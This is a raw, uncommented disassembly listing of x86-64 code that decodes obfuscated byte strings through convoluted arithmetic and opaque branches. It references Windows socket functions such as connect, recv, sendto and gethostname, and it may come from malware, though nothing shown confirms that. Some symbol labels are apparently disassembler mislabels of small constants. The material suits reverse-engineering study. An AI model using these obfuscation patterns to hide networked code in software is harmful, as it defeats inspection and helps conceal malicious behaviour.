sub cl, al
lea edi, [rdx + rcx]
add dil, 0x17
movzx eax, byte [rbp + r10 + 0x320]
add rax, r8
add r10, rax
inc r10
jmp 0x140081573
add r10b, 0x19
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x51
jmp 0x140081570
add r10b, 0xf
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x69
jmp 0x140081560
lea rcx, [rbp + 0x14d507c]
jmp 0x140081ff3
lea rcx, [rbp + 0x15b8801]
jmp 0x140081ff3
lea rcx, [rbp + 0x320]
mov r9d, esi
lea r8, [0x140044400]
mov edx, r14d
call fcn.14004fd20
mov esi, dword [0x1401de714]
mov r14d, dword [reloc.WS2_32.dll_connect]
mov byte [rbp + 0x340], 0xaa
mov byte [rbp + 0x341], 0xb3
mov byte [rbp + 0x342], 0xbb
mov byte [rbp + 0x343], 0xba
mov byte [rbp + 0x344], 0xbb
mov byte [rbp + 0x345], 0xa2
mov byte [rbp + 0x346], 0xae
mov byte [rbp + 0x347], 0x7f
mov byte [rbp + 0x348], 0x4b
mov byte [rbp + 0x349], 0xa6
mov byte [rbp + 0x34a], __WSAFDIsSet
mov byte [rbp + 0x34b], 0x1b
xor eax, eax
mov dword [rbp + 0x34c], eax
mov byte [rbp + 0x350], al
movabs r15, 0xa73dbff38989442b
movabs r12, 0xe12bbf8fd5d36583
movabs r13, 0xf5b93fda9c9bcc81
movzx edi, byte [rsp + 0x50]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
nop word [rax + rax]
xor r10d, r10d
cmp r10, 0x11
jae 0x140082c99
movzx r9d, byte [rbp + r10 + 0x340]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x140082c8d
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400820fc
lea rcx, [r10 + r15]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
sub dil, 0x2d
jmp 0x140082136
je 0x140082c1b
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140082b82
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140082b53
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140082b09
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140082abe
cmp r8, r10
ja 0x140082c81
lea rax, [r8 + 9]
cmp rbx, rax
jae 0x140082160
lea ecx, [r10 - 0x79]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x4f
jmp 0x1400821a0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140082a9e
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140082a7c
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140082a5d
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140082a41
nop dword [rax]
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140082708
nop dword [rax]
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x1400826e9
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x1400826c1
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x1400826a0
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140082681
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14008265f
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140082644
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140082629
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008260a
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400825dd
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400821b0
lea rbx, [r8 + 0x42]
lea r8, [rbx + 0x1000]
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140082c65
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140082c48
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14008239d
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140082382
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x140082367
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140082592
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14008254d
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14008250d
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x1400824e7
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x1400821b0
lea rbx, [r8 + 2]
lea r8, [rbx + 0x5a]
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x1400824b6
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14008249b
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x140082480
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140082461
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x140082443
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x140082424
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x1400823ff
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x1400823db
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x1400823b8
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x1400821b0
lea rbx, [r8 + 0x64]
lea r8, [rbx + 0x28]
jmp 0x1400821b0
lea ecx, [r10 + 0x59]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6f
jmp 0x1400821a0
lea ecx, [r10 + 3]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x15
jmp 0x140082136
lea ecx, [r10 - 0x53]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x45
jmp 0x1400820c6
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r9b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x140082adc
lea ecx, [r10 - 0x1e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2e
inc r8
dec r10
inc r10
jmp 0x1400820b3
lea edx, [r10 - 0x74]
movzx eax, dl
and al, r9b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x1400820b3
lea ecx, [r10 + 0x36]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7a
movzx r11d, r10b
jmp 0x140082b27
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
add rbx, r8
jmp 0x140082b69
lea edx, [r10 - 0x76]
movzx eax, dl
and al, r9b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140082b69
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6c
jmp 0x140082ba9
lea ecx, [r10 - 0x22]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x12
jmp 0x140082bd4
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x340]
add rax, r8
add r10, rax
inc r10
jmp 0x1400820b3
lea ecx, [r10 - 0x4f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x29
mov byte [rbp + r10 + 0x340], dil
inc r10
jmp 0x1400820b3
lea ecx, [r10 + 0x5b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7d
cmp r8, 9
jb 0x1400824fd
movzx r11d, r10b
lea edx, [r11 + 0x22]
movzx eax, r9b
and al, dl
mov ecx, 9
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140082adc
lea ecx, [r10 + 5]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x23
cmp rbx, 4
jae 0x140082a00
lea rax, [r8 + 1]
cmp rbx, rax
jbe 0x1400828f0
lea ecx, [r10 - 0x3a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6a
jmp 0x140082523
lea ecx, [r10 - 0x51]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x37
lea rax, [r8 + rbx]
cmp rax, 0x80
je 0x140082a28
lea rax, [r8 + 0x7a]
cmp rbx, rax
jbe 0x1400827e2
lea ecx, [r10 + 0x3f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x47
jmp 0x140082563
lea ecx, [r10 + 0x2a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x26
movzx eax, byte [rbp + r10 + 0x340]
add rax, r8
add r10, rax
inc r10
jmp 0x1400820b3
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, r9b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140082bd4
lea ecx, [r10 + 0x7e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x72
jmp 0x140082ba9
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x18
jmp 0x140082b69
lea edx, [r10 - 0x2e]
movzx eax, dl
and al, r9b
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x140082b69
movzx r11d, r10b
lea ecx, [r11 + 0x7c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x64
jmp 0x140082b27
lea ecx, [r10 + 0x26]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xa
dec r10
inc r10
jmp 0x1400820b3
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x1400820b3
movzx r11d, r10b
lea ecx, [r11 + 0x7a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x56
jmp 0x140082adc
lea rax, [r8 + 0x64]
cmp rbx, rax
jae 0x140082730
lea ecx, [r10 + 0x2b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2d
jmp 0x1400825a8
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140082766
lea ecx, [r10 + 0xe]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x62
movzx eax, byte [rbp + r10 + 0x340]
add rax, r8
add r10, rax
inc r10
jmp 0x1400820b3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008278e
lea ecx, [r10 - 0x46]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x16
jmp 0x140082ba9
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400827b6
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
jmp 0x140082b69
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400825a8
movzx r11d, r10b
lea ecx, [r11 - 0x44]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x24
jmp 0x140082b27
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008280e
movzx r11d, r10b
lea ecx, [r11 - 0x6b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x13
jmp 0x140082adc
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008283b
lea ecx, [r10 - 0x15]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6d
inc r8
dec r10
inc r10
jmp 0x1400820b3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140082866
lea ecx, [r10 - 0x13]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7b
add rbx, r8
jmp 0x140082b69
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008288e
lea ecx, [r10 + 0x43]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x2b
jmp 0x140082b69
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400828b6
lea ecx, [r10 - 0x67]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2f
jmp 0x140082ba9
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140082563
lea ecx, [r10 + 0x45]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x1d
movzx eax, byte [rbp + r10 + 0x340]
add rax, r8
add r10, rax
inc r10
jmp 0x1400820b3
jne 0x140082923
lea edx, [r10 + 0x1c]
movzx eax, dl
and al, r9b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x340]
add rax, r8
add r10, rax
inc r10
jmp 0x1400820b3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008294c
lea edx, [r10 - 0x38]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x78
jmp 0x140082ba6
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140082978
lea edx, [r10 + 0x1e]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140082b69
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400829a5
movzx r11d, r10b
lea edx, [r11 - 0x36]
movzx eax, r9b
and al, dl
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140082b24
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400829d3
lea edx, [r10 + 0x20]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x1400820b3
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140082523
movzx r11d, r10b
lea edx, [r11 - 0x34]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140082ad9
movzx r11d, r10b
lea edx, [r11 + 0x78]
movzx eax, r9b
and al, dl
add al, al
movzx edi, byte [rbp + r10 + 0x340]
sub dil, al
sub dil, 0x48
add dil, r9b
jmp 0x140082b24
lea edx, [r10 - 0x32]
movzx eax, r9b
and al, dl
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140082ba6
lea ecx, [r10 - 0x75]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x33
jmp 0x140082b69
lea ecx, [r10 + 0x35]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x73
add rbx, r8
jmp 0x140082b69
lea ecx, [r10 - 0x77]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x41
dec r10
inc r10
jmp 0x1400820b3
movzx r11d, r10b
lea edx, [r11 - 0x23]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0xb
jmp 0x140082ad9
movzx r11d, r10b
lea edx, [r11 + 0x31]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x57
add dil, dl
add r11b, 0x4d
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x1b
add r9b, r11b
mov byte [rbp + r10 + 0x340], r9b
inc r8
dec r10
inc r10
jmp 0x1400820b3
movzx r11d, r10b
lea edx, [r11 + 0x2f]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x49
add dil, dl
sub r11b, 0x5d
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x75
add cl, r9b
add cl, r11b
mov byte [rbp + r10 + 0x340], cl
add rbx, r8
jmp 0x140082b69
lea rcx, [r10 + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x6b
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x1400820b3
movabs rdx, 0x92b03fa8c2c0dd2d
add rdx, r10
movzx r9d, r11b
movzx eax, dl
and al, r11b
add al, al
movzx edi, r11b
sub dil, al
sub dil, 0x3b
add dil, dl
lea edx, [r10 - 7]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, 0x31
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x340], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 + 0x24]
movzx eax, r9b
and al, dl
mov ecx, 2
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x340], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x340]
add rax, r8
add r10, rax
inc r10
jmp 0x1400820b3
lea rcx, [r10 + r13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x79
movzx eax, byte [rbp + r10 + 0x340]
add rax, r8
add r10, rax
inc r10
jmp 0x1400820b3
add r10b, 0x57
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x61
jmp 0x1400820b0
inc r10b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 7
jmp 0x140082097
lea rcx, [rbp + 0x179d024]
jmp 0x140082ca0
lea rcx, [rbp + 0xc3144f]
jmp 0x140082ca0
lea rcx, [rbp + 0x340]
mov r9d, esi
lea r8, [0x1400444b0]
mov edx, r14d
call fcn.14004fd20
mov ecx, dword [0x1401dc6c8]
call fcn.140057f90
mov r14, rax
mov byte [rbp + 0x360], 0x82
mov byte [rbp + 0x361], 0xbe
mov byte [rbp + 0x362], 0xb8
mov byte [rbp + 0x363], 0xa6
mov byte [rbp + 0x364], 0x48
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x365], xmm0
mov qword [rbp + 0x375], rax
mov word [rbp + 0x37d], ax
mov byte [rbp + 0x37f], al
movabs r15, 0x1e4758d77cf3500a
movabs r12, 0x10821f93648dd05a
movabs r13, 0x5ad60a8676d9f01e
movzx edi, byte [rsp + 0x50]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
nop word [rax + rax]
xor r10d, r10d
cmp r10, 0x20
jae 0x1400838ae
movzx r9d, byte [rbp + r10 + 0x360]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x1400838a2
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140082d90
lea rcx, [r10 + r15]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
sub dil, 0x46
jmp 0x140082dc0
je 0x140083828
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140083792
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140083763
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14008373b
nop dword [rax]
cmp r8, r10
ja 0x140083896
lea rax, [r8 + 0x42]
cmp rbx, rax
jae 0x140082df2
lea edx, [r10 - 0x2e]
movzx eax, dl
and al, r9b
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140082e33
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400836f4
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400836d3
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400836b5
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140083696
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008367b
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140083390
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140083371
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140083363
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140083342
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140083325
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140083307
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x1400832e8
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400832cd
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x1400832ae
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140083281
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140082e40
lea rbx, [r8 + 4]
lea r8, [rbx + 0x10]
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140083876
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x140083859
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140083029
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14008300e
lea rcx, [r8 + 0x41]
cmp rbx, rcx
jb 0x140082ff3
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14008322d
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x1400831e5
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x1400831a1
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14008317b
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140082e40
mov rbx, rcx
lea r8, [rcx + 4]
lea rax, [r8 + 0x10]
cmp rcx, rax
ja 0x14008314a
lea rax, [r8 + 6]
cmp rcx, rax
ja 0x14008312f
lea rax, [r8 + 0x3e8]
cmp rcx, rax
ja 0x140083110
lea rax, [r8 + 5]
cmp rcx, rax
ja 0x1400830f5
lea rax, [r8 + 0x200]
cmp rcx, rax
ja 0x1400830d3
lea rax, [r8 + 0x40]
cmp rcx, rax
ja 0x1400830b4
lea rax, [r8 + 0x2a]
cmp rcx, rax
ja 0x14008308f
lea rax, [r8 + 0x28]
cmp rcx, rax
ja 0x14008306b
lea rax, [r8 + 0x5a]
cmp rcx, rax
ja 0x140083048
lea rax, [r8 + 0x20]
cmp rcx, rax
ja 0x140082e40
lea rbx, [r8 + 1]
lea r8, [rbx + 8]
jmp 0x140082e40
lea ecx, [r10 + 0x6e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 2
jmp 0x140082e33
lea ecx, [r10 + 0x5a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x76
jmp 0x140082dc0
lea edx, [r10 + 0x46]
movzx eax, dl
and al, r9b
mov ecx, listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140082d56
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14008370e
lea ecx, [r10 + 0x7c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x64
inc r8
dec r10
inc r10
jmp 0x140082d43
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140082d43
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4c
movzx r11d, r10b
jmp 0x140083635
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x140083779
lea ecx, [r10 + 0x2c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x34
jmp 0x140083779
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r9b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400837b9
lea ecx, [r10 + 4]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1c
jmp 0x1400837e1
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x360]
add rax, r8
add r10, rax
inc r10
jmp 0x140082d43
lea ecx, [r10 - 0x42]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x32
mov byte [rbp + r10 + 0x360], dil
inc r10
jmp 0x140082d43
lea edx, [r10 - 0x56]
movzx eax, dl
and al, r9b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp r8, 6
jb 0x140083191
movzx r11d, r10b
lea ecx, [r11 - 4]
movzx eax, cl
and al, r9b
mov edx, select
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x14008370e
lea ecx, [r10 - 0x6a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1a
cmp rbx, 0x28
jae 0x14008360f
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jbe 0x140083559
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6c
jmp 0x1400831bb
lea edx, [r10 - 0x7e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
lea rax, [r8 + rbx]
cmp rax, 0xa
je 0x140083662
lea rax, [r8 + 0x5a]
cmp rbx, rax
jbe 0x140083466
lea edx, [r10 + 0x62]
movzx eax, dl
and al, r9b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400831fb
lea ecx, [r10 - 0x14]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x74
movzx eax, byte [rbp + r10 + 0x360]
add rax, r8
add r10, rax
inc r10
jmp 0x140082d43
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r9b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400837e1
lea ecx, [r10 - 0x3c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5c
jmp 0x1400837b9
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140083779
lea ecx, [r10 - 0x64]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x44
add rbx, r8
jmp 0x140083779
movzx r11d, r10b
lea edx, [r11 - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14008362f
lea ecx, [r10 + 0x74]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2c
dec r10
inc r10
jmp 0x140082d43
lea edx, [r10 + 0x60]
mov ecx, 0x30
jmp 0x140083744
movzx r11d, r10b
lea ecx, [r11 + 0x4c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x14
jmp 0x14008370e
lea rax, [r8 + 2]
cmp rbx, rax
jae 0x1400833b4
lea ecx, [r10 + 0xa]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x46
jmp 0x140083247
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400833ea
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7c
movzx eax, byte [rbp + r10 + 0x360]
add rax, r8
add r10, rax
inc r10
jmp 0x140082d43
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140083412
lea edx, [r10 - 0x34]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400837b9
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140083436
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
jmp 0x140083779
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140083247
movzx r11d, r10b
lea edx, [r11 + 0x44]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
